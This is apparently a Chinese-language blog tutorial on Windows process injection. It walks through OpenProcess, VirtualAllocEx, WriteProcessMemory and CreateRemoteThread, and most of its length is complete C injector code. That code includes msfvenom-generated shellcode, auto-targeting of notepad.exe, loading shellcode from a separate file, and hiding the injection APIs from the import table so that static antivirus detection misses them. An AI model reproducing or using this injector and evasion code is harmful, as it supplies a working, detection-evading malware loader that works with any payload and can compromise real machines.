文章涉及的技术并不深,只是本人在学习进程注入过程中的记录,文章的内容将涉及到进程注入基础、通过快照自动获取Pid、分离加载shellcode、IAT导入表的基本处理、静态源码基本处理等,过程中需要理解的部分,我会尽可能言简意赅。
进程注入就是给一个正在运行的程序开辟一块内存,把shellcode放入内存,然后用一个线程去执行shellcode。
所有代码示例都使用从 Metasploit Frameworks Msfvenom 工具生成的相同 64 位 shellcode。
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
shellcode 执行 Calc.exe
关于 CreateRemoteThread() 进程注入,实际上需要实现四个主要目标:
获取目标进程句柄 OpenProcess()
OpenProcess 函数打开一个现有的进程对象。
HANDLE OpenProcess( DWORD dwDesiredAccess, // 渴望得到的访问权限(标志),那肯定是PROCESS_ALL_ACCESS,所有权限啊 BOOL bInheritHandle, // 是否继承句柄,一般不 DWORD dwProcessId // 进程标识符,即受害者进程的PID );
申请内存 VirtualAllocEx()
我们首先需要分配一块与我们的 shellcode 大小相同的内存。VirtualAllocEx 是我们需要调用的 Windows API,以便初始化位于指定进程(即我们要注入的进程)的虚拟地址空间内的内存区域中的缓冲区空间。
VirtualAllocEx – 与VirtualAlloc (HANDLE hProcess)相比,此 API 调用需要一个附加参数,后者是受害者进程的句柄。
LPVOID VirtualAllocEx( HANDLE hProcess, // 申请内存所在的进程句柄 LPVOID lpAddress, // 保留页面的内存地址,一般用NULL自动分配 SIZE_T dwSize, // 欲分配的内存大小,字节为单位,通常是shellcode大小 DWORD flAllocationType, // 指定要分配的内存类型,常用 MEM_RESERVE | MEM_COMMIT DWORD flProtect // 指定分配的内存保护,由于它将包含要执行的代码,因此常用 PAGE_EXECUTE_READWRITE,可读可写可执行 );
写进程内存 WriteProcessMemory()
现在我们已经分配了一个与我们的 shellcode 大小相同的缓冲区,我们可以将我们的 shellcode 写入该缓冲区。
WriteProcessMemory() – 将数据写入指定进程中的内存区域。 BOOL WriteProcessMemory( HANDLE hProcess, // 要向其中写入数据的进程,即由OpenProcess返回的进程句柄 LPVOID lpBaseAddress, // 要写入的数据的首地址,VirtualAllocEx的返回值 LPCVOID lpBuffer, // 指向要写的数据的指针,该指针必须是const指针,即shellcode SIZE_T nSize, // 要写入的字节数,shellcode大小 SIZE_T *lpNumberOfBytesWritten // 接收传输到指定进程中的字节数,通常为NULL );
创建远程线程 CreateRemoteThread()
将 shellcode 加载到受害进程分配的虚拟内存空间后,我们现在可以告诉受害进程从我们的 shellcode 缓冲区地址开始创建一个新线程。
CreateRemoteThread() – 创建一个在另一个进程的虚拟地址空间中运行的线程。
HANDLE CreateRemoteThread( HANDLE hProcess, // 线程所属进程的进程句柄,即OpenProcess返回的句柄 LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性,通常为NULL SIZE_T dwStackSize, // 线程栈初始大小,以字节为单位,通常为0,即代表使用系统默认大小. LPTHREAD_START_ROUTINE lpStartAddress, // 在远程进程的地址空间中,该进程的线程函数的起始地址。VirtualAllocEx返回值,注意需要强制类型转换成 LPTHREAD_START_ROUTINE LPVOID lpParameter, // 传给线程函数的参数的指针,这里为NULL,在DLL注入的时候有重要意义 DWORD dwCreationFlags, // 线程的创建标志,通常为0,即线程创建后立即运行 LPDWORD lpThreadId // 指向所创建线程ID的指针,通常为NULL );
基础代码
#include <windows.h> #include <stdio.h> int main(int argc, char* argv[]) { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" "\x63\x2e\x65\x78\x65\x00"; printf("alloc:%p\n", buf); HANDLE Process = OpenProcess( (DWORD)PROCESS_ALL_ACCESS, (BOOL)FALSE, //(DWORD)atoi(pid)); atoi(argv[1])); if (Process == NULL) { printf("\nopenprocess error%d\n", GetLastError()); } printf("pid:%d",atoi(argv[1])); void * exec = VirtualAllocEx( Process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if (exec == NULL) { printf("VirtualAllocEx error%d\n", GetLastError()); } BOOL Memory = WriteProcessMemory( (HANDLE)Process, (LPVOID)exec, (LPCVOID)buf, sizeof buf, NULL ); if (Memory == 0) { printf("WriteProcessMemory:%d\n", GetLastError()); } HANDLE thred = CreateRemoteThread( (HANDLE)Process, (LPSECURITY_ATTRIBUTES)NULL, (SIZE_T)0, (LPTHREAD_START_ROUTINE)exec, (LPVOID)NULL, (DWORD)0, (LPDWORD)NULL ); if (thred == NULL) { printf("CreateRemoteThread:%d\n", GetLastError()); } }
拍摄快照自动获取pid
官方demo https://docs.microsoft.com/en-us/windows/win32/toolhelp/taking-a-snapshot-and-viewing-processes
// 拍摄快照 HANDLE Snapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS,(DWORD)0); if (Snapshot == INVALID_HANDLE_VALUE) { printf("CreateToolhelp32Snapshot:%d\n", GetLastError()); } //初始化 PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); BOOL First = Process32First( (HANDLE)Snapshot, &pe32); if (First == FALSE) { printf("Process32First:%d\n", GetLastError()); } //匹配注入进程名字 DWORD pid; while (First) { if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0) { pid = pe32.th32ProcessID; break; } First = Process32Next((HANDLE)Snapshot, &pe32); }
分离加载 shellcode
HANDLE openinfile = CreateFileA( //"e:\\calc.bin", lnFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (openinfile == INVALID_HANDLE_VALUE); { printf("CreateFile Error:%d\n", GetLastError()); } // int size = GetFileSize(openinfile, NULL); if (size == INVALID_FILE_SIZE); { printf("GetFileSize Error:%d\n", GetLastError()); } // char* buf = (char*)malloc(size + 1); DWORD lpNumberOfBytesRead = 0; // BOOL rfile = ReadFile( openinfile, buf, size, &lpNumberOfBytesRead, NULL); for (int i = 0; i < size; i++) { printf("\\x%02x", (unsigned char)buf[i]); }
IAT,导入地址表(Import Address Table)
IAT表是执行程序或者dll为了实现动态加载和重定位函数地址,用到的一个导入函数地址表。这里面记录了每个导入函数的名字和所在的dll名称,在pe加载的时候系统会加载这些dll到用户的地址空间然后把函数地址覆盖这个表里的函数地址,然后重构所有用到这个表的代码,让其调用直接指向实际函数地址(PE是否覆盖不确定,驱动会这么做),PE的IAT表会留在内存,驱动的就丢弃了。
翻译:IAT是一种表格,用来记录程序正在使用哪些库中的哪些函数。
如果一个文件的文件大小在300KB以内,并且导入函数又有Virtual Alloc、CreateThread等高危函数、且VirtualAlloc的最后一个参数是0x40,那么此文件极有可能是高危文件,会被重点关注。
这里使用VS自带的 dumpbin查看
没修改iat之前 可以看到存在高危函数 如VirtualAllocEx、CreateRemoteThread、WriteProcessMemory等
在字符串中还能看到敏感函数关键字,解决办法:通过拆分、源代码混淆、加壳等即可。
GetProcAddress 获取函数地址
GetProcAddress这个API在Kernel32.dll中被导出,主要功能是从一个加载的模块中获取函数的地址。
typedef LPVOID(WINAPI* Virtual_AllocEx)( _In_ HANDLE hProcess, _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect ); typedef BOOL (WINAPI* ImportWriteProcessMemory)( _In_ HANDLE hProcess, _In_ LPVOID lpBaseAddress, _In_reads_bytes_(nSize) LPCVOID lpBuffer, _In_ SIZE_T nSize, _Out_opt_ SIZE_T* lpNumberOfBytesWritten ); typedef HANDLE (WINAPI* ImportCreateRemoteThread)( _In_ HANDLE hProcess, _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_opt_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_opt_ LPDWORD lpThreadId ); //避免高危字符串 char ker32[] = { 'K','e','r','n','e','l','3','2','.','d','l','l',0 }; HMODULE hKer32 = LoadLibraryA(ker32); char VAllocEx[] = { 'V','i','r','t','u','a','l','l','o','c','E','x',0}; Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, VAllocEx); //ImportVirtualAllocEx MyVirtualAllocEx = //(ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx"); ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteProcessMemory"); ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateRemoteThread");
修改后查看一下导入表,高危函数已不在iat中了
完整代码
#include <windows.h> #include <stdio.h> #include <tlhelp32.h> #include <TCHAR.h> typedef LPVOID(WINAPI* ImportVirtualAllocEx)( _In_ HANDLE hProcess, _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect ); typedef BOOL(WINAPI* ImportWriteProcessMemory)( _In_ HANDLE hProcess, _In_ LPVOID lpBaseAddress, _In_reads_bytes_(nSize) LPCVOID lpBuffer, _In_ SIZE_T nSize, _Out_opt_ SIZE_T* lpNumberOfBytesWritten ); typedef HANDLE(WINAPI* ImportCreateRemoteThread)( _In_ HANDLE hProcess, _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_opt_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_opt_ LPDWORD lpThreadId ); void code(LPCSTR lnFileName) { //char ker32[] = { 'K','E','r','n','e','l','3','2','.','d','l','l',0 }; //HMODULE hKer32 = LoadLibraryA(ker32); //char VAllocEx[] = { 'V','i','r','t','u','a','l','l','o','c','E','x',0 }; //Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, "VirtualAllocEx"); ImportVirtualAllocEx MyVirtualAllocEx = (ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx"); ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteProcessMemory"); ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateRemoteThread"); HANDLE openinfile = CreateFileA( //"e:\\calc.bin", lnFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (openinfile == INVALID_HANDLE_VALUE); { printf("CreateFile Error:%d\n", GetLastError()); } // int size = GetFileSize(openinfile, NULL); if (size == INVALID_FILE_SIZE); { printf("GetFileSize Error:%d\n", GetLastError()); } // char* buf = (char*)malloc(size + 1); DWORD lpNumberOfBytesRead = 0; // BOOL rfile = ReadFile( openinfile, buf, size, &lpNumberOfBytesRead, NULL); for (int i = 0; i < size; i++) { printf("\\x%02x", (unsigned char)buf[i]); } // HANDLE Snapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS, (DWORD)0); if (Snapshot == INVALID_HANDLE_VALUE) { printf("CreateToolhelp32Snapshot:%d\n", GetLastError()); } // PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); BOOL First = Process32First( (HANDLE)Snapshot, &pe32); if (First == FALSE) { printf("Process32First:%d\n", GetLastError()); } // DWORD pid; while (First) { if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0) { pid = pe32.th32ProcessID; break; } First = Process32Next((HANDLE)Snapshot, &pe32); } HANDLE Process = OpenProcess( (DWORD)PROCESS_ALL_ACCESS, (BOOL)false, //(DWORD)atoi(pid)); (DWORD)pid ); if (Process == NULL) { CloseHandle(Process); printf("\nopenprocess error%d\n", GetLastError()); } _tprintf(TEXT("\npid:%d\n"), pe32.th32ProcessID); HANDLE exec = MyVirtualAllocEx( Process, NULL, //sizeof(buf), size, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if (exec == NULL) { printf("VirtualAllocEx error%d\n", GetLastError()); } BOOL Memory = MyWriteProcessMemory( (HANDLE)Process, (LPVOID)exec, (LPCVOID)buf, //sizeof buf, size, NULL); if (Memory == 0) { printf("WriteProcessMemory:%d\n", GetLastError()); } HANDLE thred = MyCreateRemoteThread( (HANDLE)Process, (LPSECURITY_ATTRIBUTES)NULL, (SIZE_T)0, (LPTHREAD_START_ROUTINE)exec, (LPVOID)NULL, (DWORD)0, (LPDWORD)NULL); if (thred == NULL) { CloseHandle(thred); printf("CreateRemoteThread:%d\n", GetLastError()); } } int main(int argc, char* argv[]) { //int main() if (argc != 2) { printf("please bin"); } else { code(argv[1]); } }
后续还可以尝试增加syscall直接调用、回调函数执行、申请内存优化、高强度加密混淆等等,还请师傅自行搭配使用。
https://payloads.online/archivers/2020-10-23/1/
https://macchiato.ink/hst/ProcessInjection/CreateRemoteThread/
https://github.com/d35ha/CallObfuscator
不足之处欢迎师傅们指点和纠正,感谢给予帮助和支持的朋友,最后谢谢你。
声明:本文章经用于经验及交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意。